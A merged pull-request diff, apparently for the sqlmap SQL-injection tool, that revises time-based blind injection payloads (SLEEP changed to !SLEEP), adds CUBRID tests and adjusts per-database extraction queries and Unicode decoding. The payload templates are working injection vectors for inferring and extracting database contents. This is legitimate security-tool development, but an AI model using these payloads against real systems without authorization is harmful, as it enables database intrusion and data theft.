Skip to content
Merged
127 changes: 83 additions & 44 deletions data/xml/payloads/time_blind.xml
Original file line number Diff line number Diff line change
Expand Up @@ -11,9 +11,9 @@
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -31,9 +31,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -51,9 +51,9 @@
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>AND SLEEP([SLEEPTIME])</payload>
<payload>AND !SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -71,9 +71,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>OR SLEEP([SLEEPTIME])</payload>
<payload>OR !SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -91,9 +91,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>AND SLEEP([SLEEPTIME])</payload>
<payload>AND !SLEEP([SLEEPTIME])</payload>
<comment>#</comment>
</request>
<response>
Expand All @@ -112,9 +112,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>OR SLEEP([SLEEPTIME])</payload>
<payload>OR !SLEEP([SLEEPTIME])</payload>
<comment>#</comment>
</request>
<response>
Expand All @@ -133,9 +133,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
Expand All @@ -154,9 +154,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
Expand Down Expand Up @@ -339,9 +339,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
<request>
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -359,9 +359,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
<request>
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
<comment>#</comment>
</request>
<response>
Expand All @@ -380,9 +380,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -400,9 +400,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
Expand All @@ -421,9 +421,9 @@
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -441,9 +441,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -460,9 +460,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
<comment>#</comment>
</request>
<response>
Expand All @@ -480,9 +480,9 @@
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
<comment>#</comment>
</request>
<response>
Expand Down Expand Up @@ -1092,6 +1092,45 @@
</details>
</test>

<test>
<title>CUBRID AND time-based blind (SLEEP)</title>
<stype>5</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<!-- db_root (Cubrid-only catalog) anchors SLEEP so it fires only on Cubrid, not on MySQL which also has SLEEP -->
<vector>AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
<request>
<payload>AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Cubrid</dbms>
</details>
</test>

<test>
<title>CUBRID OR time-based blind (SLEEP)</title>
<stype>5</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
<request>
<payload>OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Cubrid</dbms>
</details>
</test>

<test>
<title>Firebird &gt;= 2.0 AND time-based blind (heavy query)</title>
<stype>5</stype>
Expand Down Expand Up @@ -1624,9 +1663,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
<vector>(CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
<request>
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -1644,9 +1683,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<vector>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<payload>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand Down Expand Up @@ -1704,9 +1743,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>([INFERENCE] AND SLEEP([SLEEPTIME]))</vector>
<vector>([INFERENCE] AND !SLEEP([SLEEPTIME]))</vector>
<request>
<payload>([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))</payload>
<payload>([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -1723,9 +1762,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand All @@ -1742,9 +1781,9 @@
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
<vector>MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
<request>
<payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
<payload>MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand Down Expand Up @@ -2038,9 +2077,9 @@
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
<request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
Expand Down
15 changes: 8 additions & 7 deletions data/xml/queries.xml
Original file line number Diff line number Diff line change
Expand Up @@ -440,8 +440,8 @@

<dbms value="Firebird">
<!--Firebird doesn't like big VARCHARs-->
<cast query="TRIM(CAST(%s AS VARCHAR(8000)))"/>
<length query="CHAR_LENGTH(TRIM(%s))"/>
<cast query="TRIM(TRAILING FROM CAST(%s AS VARCHAR(8000)))"/>
<length query="CHAR_LENGTH(TRIM(TRAILING FROM %s))"/>
<delimiter query="||"/>
<limit query="ROWS %d TO %d"/>
<limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
Expand Down Expand Up @@ -626,7 +626,7 @@
<dbms value="IBM DB2">
<!-- VARCHAR(32672) (DB2 max), not CHAR(254) which silently truncated values >254 chars; RTRIM kept to strip CHAR-column blank padding (DB2 <v9, which lacked the VARCHAR cast, is long unsupported) -->
<cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
<length query="LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))))"/>
<length query="CHARACTER_LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))),CODEUNITS32)"/>
<isnull query="COALESCE(%s,' ')"/>
<delimiter query="||"/>
<limit query="ROW_NUMBER() OVER () AS CAP %s) AS qq WHERE CAP"/>
Expand All @@ -638,11 +638,11 @@
<count query="COUNT(%s)"/>
<comment query="--"/>
<!-- TODO -->
<substring query="SUBSTR((%s),%d,%d)"/>
<substring query="SUBSTRING((%s),%d,%d,CODEUNITS32)"/>
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
<hex query="HEX(%s)"/>
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
<inference query="SUBSTRING((%s),%d,1,CODEUNITS32)>'%c'"/>
<!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS CAP,versionnumber FROM sysibm.sysversions) AS qq WHERE CAP=1"/>
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
Expand Down Expand Up @@ -1026,7 +1026,7 @@
</dbms>

<dbms value="Vertica">
<cast query="CAST(%s AS CHARACTER(10000))"/>
<cast query="CAST(%s AS VARCHAR(10000))"/>
<length query="LENGTH(%s)"/>
<isnull query="COALESCE(%s,' ')"/>
<delimiter query="||"/>
Expand Down Expand Up @@ -1159,7 +1159,7 @@
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<hex query="TO_HEX(CAST(%s AS VARBINARY))"/>
<inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>
<inference query="CODEPOINT(CAST(SUBSTR((%s),%d,1) AS VARCHAR(1)))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>
<banner query="version()"/>
<current_user query="CURRENT_USER"/>
<current_db query="current_schema"/>
Expand Down Expand Up @@ -1347,6 +1347,7 @@
<dbms value="ClickHouse">
<cast query="CAST(%s AS Nullable(String))"/>
<length query="length(%s)"/>
<hex query="hex(%s)"/>
<isnull query="ifNull(%s, '')"/>
<delimiter query="||"/>
<limit query="LIMIT %d OFFSET %d"/>
Expand Down
6 changes: 6 additions & 0 deletions lib/core/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -527,6 +527,12 @@ def nullAndCastField(self, field):
else:
if hexRaw:
nulledCastedField = self.hexConvertField(field)
elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"):
# NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them
nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field
elif Backend.isDbms(DBMS.DERBY) and re.search(r"(?i)\bCOUNT\(", field):
# Derby rejects CAST(INTEGER AS VARCHAR); route the numeric COUNT through a CHAR intermediate
nulledCastedField = rootQuery.cast.query % ("CAST(%s AS CHAR(254))" % field)
elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
nulledCastedField = rootQuery.cast.query % field

Expand Down
5 changes: 3 additions & 2 deletions lib/core/common.py
Original file line number Diff line number Diff line change
Expand Up @@ -4001,8 +4001,9 @@ def decodeIntToUnicode(value):
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
elif Backend.isDbms(DBMS.MSSQL):
# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
retVal = getUnicode(raw, "UTF-16-BE")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
# supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct
retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.PRESTO, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.MONETDB, DBMS.VERTICA): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
retVal = _unichr(value)
else:
retVal = getUnicode(raw, conf.encoding)
Expand Down
Loading